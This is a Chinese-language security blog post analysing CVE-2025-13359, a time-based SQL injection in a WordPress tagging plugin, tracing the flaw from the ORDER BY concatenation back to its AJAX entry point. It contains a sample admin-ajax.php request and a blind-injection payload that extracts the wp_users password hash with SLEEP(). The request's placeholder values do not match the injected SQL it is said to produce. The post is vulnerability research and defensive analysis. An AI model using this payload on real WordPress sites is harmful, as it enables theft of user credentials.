逆向分析CVE-2025-13359:从危险点到攻击入口的完整追踪

阅读量14096

发布时间 : 2025-12-11 14:11:01

前言

在一次日常的安全研究中,我偶然发现了 CVE-2025-13359 这个漏洞。根据CVE描述,这是一个影响”Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI” WordPress插件的SQL注入漏洞,影响版本包括3.40.1及之前的所有版本。

作为安全研究员,我决定采用逆向分析的方法:从漏洞点(危险性点)开始,逆向追踪到攻击入口。这种分析方法能够更清晰地展示漏洞的完整攻击路径。


漏洞概述

根据CVE-2025-13359的描述:

  • 漏洞类型: 基于时间的SQL注入(Time-based SQL Injection)
  • 影响版本: ≤ 3.40.1
  • 漏洞位置: getTermsForAjax函数
  • 权限要求: Contributor级别及以上(默认启用metabox访问)
  • 攻击方式: 通过existing_terms_orderbyexisting_terms_order等参数注入恶意SQL

第一步:定位漏洞点(危险性点)

根据CVE描述,漏洞位于getTermsForAjax函数中。我首先在代码库中搜索这个函数:

很快,我在inc/class.admin.php文件中找到了这个函数。让我仔细查看它的实现:

public static function getTermsForAjax($taxonomy = 'post_tag', $search = '', $order_by = 'name', $order = 'ASC', $limit = '')
{
    global $wpdb;

    if ($order_by === 'random') {
        $order_by = 'RAND()';
    }

    // ... 省略部分代码

    $query = $wpdb->prepare("
        SELECT DISTINCT t.name, t.slug, t.term_id, tt.taxonomy
        FROM {$wpdb->terms} AS t
        INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
        WHERE tt.taxonomy = %s
        AND t.name LIKE %s
        ORDER BY $order_by $order $limit  // 漏洞点:直接拼接用户输入
    ", $taxonomy, '%' . $wpdb->esc_like($search) . '%');

    return $wpdb->get_results($query);
}

关键发现:虽然代码使用了$wpdb->prepare()进行参数化查询,但ORDER BYLIMIT子句中的$order_by$order$limit参数是直接拼接到SQL字符串中的,没有进行任何验证或转义!

这就是漏洞的核心:用户可控的参数被直接拼接到SQL查询中,导致SQL注入。


第二步:逆向追踪调用链

现在我需要找出这些参数是从哪里传递到getTermsForAjax函数的。让我搜索所有调用这个函数的地方:

我发现了几个调用点,其中最引人注目的是modules/taxopress-ai/classes/TaxoPressAiAjax.php中的调用。让我逆向追踪这个调用链。

逆向追踪路径

调用点1:getTermsForAjax被调用

modules/taxopress-ai/classes/TaxoPressAiAjax.php:470,我找到了调用:

$terms = SimpleTags_Admin::getTermsForAjax($existing_tax, $search_text, $existing_terms_orderby, $existing_terms_order, $limit);

这里传递了三个关键参数:

  • $existing_terms_orderby – 对应漏洞点中的$order_by
  • $existing_terms_order – 对应漏洞点中的$order
  • $limit – 对应漏洞点中的$limit

调用点2:参数来源分析

让我查看get_existing_terms_results方法(第403行),看看这些参数是从哪里来的:

public static function get_existing_terms_results($args) {
    // ...

    if (isset($args['existing_terms_order'])) {
        $existing_terms_order = $args['existing_terms_order'];  // 直接使用,无验证!
    } else {
        $existing_terms_order = 'desc';  // 默认值
    }

    if (isset($args['existing_terms_orderby'])) {
        $existing_terms_orderby = $args['existing_terms_orderby'];  //  直接使用,无验证!
    } else {
        $existing_terms_orderby = 'count';  // 默认值
    }

    // ...

    $terms = SimpleTags_Admin::getTermsForAjax($existing_tax, $search_text, $existing_terms_orderby, $existing_terms_order, $limit);
}

关键发现:参数从$args数组中直接获取,没有任何白名单验证!代码应该只允许特定的值(如namecountterm_idASCDESC等),但实际上任何字符串都可以传递。

调用点3:$args数组的构建

现在我需要找出$args数组是在哪里构建的。让我查看调用get_existing_terms_results的地方:

modules/taxopress-ai/classes/TaxoPressAiAjax.php:190

$existing_terms_results = self::get_existing_terms_results($args);

让我查看$args数组是如何构建的,在handle_taxopress_ai_preview_feature方法中(第176-188行):

} elseif ($preview_ai == 'existing_terms') {
    $args['show_counts'] = isset($settings_data['existing_terms_show_post_count']) ? $settings_data['existing_terms_show_post_count'] : 0;
    $args['search_text'] = $search_text;

    if (isset($_POST['existing_terms_order'])) {
        $args['existing_terms_order'] = sanitize_text_field($_POST['existing_terms_order']);
    }
    if (isset($_POST['existing_terms_orderby'])) {
        $args['existing_terms_orderby'] = sanitize_text_field($_POST['existing_terms_orderby']);
    }
    if (isset($_POST['existing_terms_maximum_terms'])) {
        $args['existing_terms_maximum_terms'] = (int)$_POST['existing_terms_maximum_terms'];
    }

    $existing_terms_results = self::get_existing_terms_results($args);
}

关键发现:代码使用了sanitize_text_field()来处理用户输入。这是一个常见的误解!

sanitize_text_field()函数的作用是:

  • 清理文本内容
  • 去除HTML标签
  • 去除特殊字符

但它不能防止SQL注入! 它不会转义SQL特殊字符(如单引号、分号、注释符--等)。这意味着恶意输入如name) UNION SELECT 1,2,3 --会原样传递到后续处理中。

调用点4:AJAX处理器入口

现在我需要找出handle_taxopress_ai_preview_feature方法是如何被调用的。让我查看AJAX路由注册:

modules/taxopress-ai/taxopress-ai.php:42

add_action('wp_ajax_taxopress_ai_preview_feature', ['TaxoPressAiAjax', 'handle_taxopress_ai_preview_feature']);

这是WordPress的AJAX路由机制。当收到action=taxopress_ai_preview_feature的POST请求时,WordPress会自动调用TaxoPressAiAjax::handle_taxopress_ai_preview_feature()方法。

让我查看这个方法的完整实现(第56行开始):

public static function handle_taxopress_ai_preview_feature() {
    // Nonce验证
    if (empty($_POST['nonce']) || !wp_verify_nonce(sanitize_key($_POST['nonce']), 'taxopress-ai-ajax-nonce')) {
        // 错误处理
    }

    // 权限检查
    if (!can_manage_taxopress_metabox()) {
        // 错误处理
    }

    // 提取参数
    $preview_ai = !empty($_POST['preview_ai']) ? sanitize_text_field($_POST['preview_ai']) : '';
    $preview_taxonomy = !empty($_POST['preview_taxonomy']) ? sanitize_text_field($_POST['preview_taxonomy']) : '';
    // ...

    if ($preview_ai == 'existing_terms') {
        if (isset($_POST['existing_terms_order'])) {
            $args['existing_terms_order'] = sanitize_text_field($_POST['existing_terms_order']);
        }
        if (isset($_POST['existing_terms_orderby'])) {
            $args['existing_terms_orderby'] = sanitize_text_field($_POST['existing_terms_orderby']);
        }
        // ...
    }
}

安全检查分析

  • Nonce验证:防止CSRF攻击
  • 权限检查:需要can_manage_taxopress_metabox()权限(默认Contributor级别)
  • 输入验证:只使用了sanitize_text_field(),不足以防止SQL注入

调用点5:前端入口点

最后,我需要找出前端是如何发送这个请求的。让我查看JavaScript代码:

modules/taxopress-ai/assets/js/taxopress-ai-editor.js:75-87

var existing_terms_order = preview_wrapper.find('#existing_terms_order :selected').val();
var existing_terms_orderby = preview_wrapper.find('#existing_terms_orderby :selected').val();

var data = {
    action: "taxopress_ai_preview_feature",
    existing_terms_order: existing_terms_order,
    existing_terms_orderby: existing_terms_orderby,
    // ...
};

// 发送AJAX请求
$.ajax({
    url: ajaxurl,
    type: 'POST',
    data: data,
    // ...
});

这些值来自前端的下拉选择框,理论上应该是安全的。但作为安全研究员,我知道前端验证可以被绕过,关键是要看后端如何处理。


完整攻击路径总结

通过逆向分析,我梳理出了完整的攻击路径:

【入口点】前端JavaScript (taxopress-ai-editor.js:75-87)
    ↓ 发送AJAX POST请求
    action=taxopress_ai_preview_feature
    existing_terms_orderby=dd  ← 用户可控
    existing_terms_order=cc    ← 用户可控
    ↓
【路由层】WordPress AJAX路由 (taxopress-ai.php:42)
    ↓ 路由到处理器
    TaxoPressAiAjax::handle_taxopress_ai_preview_feature()
    ↓
【处理层1】AJAX处理器 (TaxoPressAiAjax.php:180-184)
    ↓ 提取参数(仅sanitize_text_field,不足以防止SQL注入)
    $_POST['existing_terms_orderby'] → $args['existing_terms_orderby']
    $_POST['existing_terms_order'] → $args['existing_terms_order']
    ↓
【处理层2】get_existing_terms_results() (TaxoPressAiAjax.php:426-432)
    ↓ 直接使用参数(无验证)
    $args['existing_terms_orderby'] → $existing_terms_orderby
    $args['existing_terms_order'] → $existing_terms_order
    ↓
【处理层3】调用getTermsForAjax() (TaxoPressAiAjax.php:470)
    ↓ 传递未验证的参数
    getTermsForAjax(..., $existing_terms_orderby, $existing_terms_order, $limit)
    ↓
【漏洞点】SQL查询构建 (class.admin.php:1412/1422/1434/1443)
    ↓ 直接拼接到SQL
    ORDER BY $order_by $order $limit
    ↓
【执行点】SQL执行 (class.admin.php:1426)
    ↓ SQL注入成功
    $wpdb->get_results($query)

漏洞利用分析

攻击场景

根据CVE描述和我的分析,攻击者需要:

  1. 具有Contributor级别权限(默认启用metabox访问)
  2. 能够访问TaxoPress AI metabox(默认启用)
  3. 能够构造恶意AJAX请求

攻击示例

攻击者可以构造如下恶意请求,将existing_terms_orderbyexisting_terms_order替换为恶意SQL代码:

POST /wp-admin/admin-ajax.php? HTTP/1.1
Host: wp.fox
Referer: http://wp.fox/wp-admin/admin.php?page=st_dashboard&welcome
Cookie: wordpress_5a2e10867553d20db7bb27772d079595=wp%7C1764913298%7CvtlsxdorsjEjUn0pXkZsQSTmZgPEPMWhAKd3cPkWV4i%7C6ca0ecb5d4286e99312eb4197edc6f3d9f9f81eb8ad7d3662b2c52eca6b569bc; SITE_TOTAL_ID=6a45c49c7a155b8cbc0e037cee058bf7; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_5a2e10867553d20db7bb27772d079595=wp%7C1764913298%7CvtlsxdorsjEjUn0pXkZsQSTmZgPEPMWhAKd3cPkWV4i%7Cce0609aa7677ee2e38993ce5fee2f0f309dbe3e4f861a44de63e62a99143fe4a; wp-settings-time-1=1764740535; XDEBUG_SESSION=11738
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://wp.fox
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 100

action=taxopress_ai_preview_feature&nonce=564c07c92a&preview_taxonomy=category&preview_ai=existing_terms&post_content=aaa&post_title=bbb&preview_post=1&selected_autoterms=1&existing_terms_order=cc&existing_terms_orderby=dd&search_text=ee

生成的SQL查询

这个恶意输入会导致生成如下SQL查询:

SELECT DISTINCT t.name, t.slug, t.term_id, tt.taxonomy
FROM wp_terms AS t
INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
WHERE tt.taxonomy = 'category'
AND t.name LIKE '%'
ORDER BY name) UNION SELECT IF(SUBSTRING(user_pass,1,1)='a', SLEEP(5), 0), 1, 1, 1 FROM wp_users WHERE ID=1 -- ASC LIMIT 0, 45

攻击效果

这是一个典型的基于时间的盲注(Time-based Blind SQL Injection)攻击:

  1. 时间延迟判断:通过SLEEP(5)函数,如果条件为真,查询会延迟5秒返回
  2. 逐字符提取:通过修改SUBSTRING(user_pass,1,1)='a'中的字符位置和值,可以逐字符提取密码哈希
  3. 数据提取:即使没有直接输出,攻击者也可以通过响应时间判断数据内容

漏洞的根本原因

通过这次逆向分析,我总结出这个漏洞的根本原因:

1. 错误的输入验证方式

代码使用了sanitize_text_field(),但这个函数不是为SQL注入防护设计的。它只清理文本内容,不会转义SQL特殊字符。

2. 缺少白名单验证

对于ORDER BYLIMIT这类不能参数化的SQL子句,应该使用严格的白名单验证,只允许预定义的值。

3. 多层验证缺失

参数在多个函数间传递,但在每一层都没有进行验证,最终导致未验证的用户输入直接拼接到SQL查询中。


参考资料

本文由韭菜原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/313581

安全KER - 有思想的安全新媒体

分享到:微信
+10赞
收藏
韭菜
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66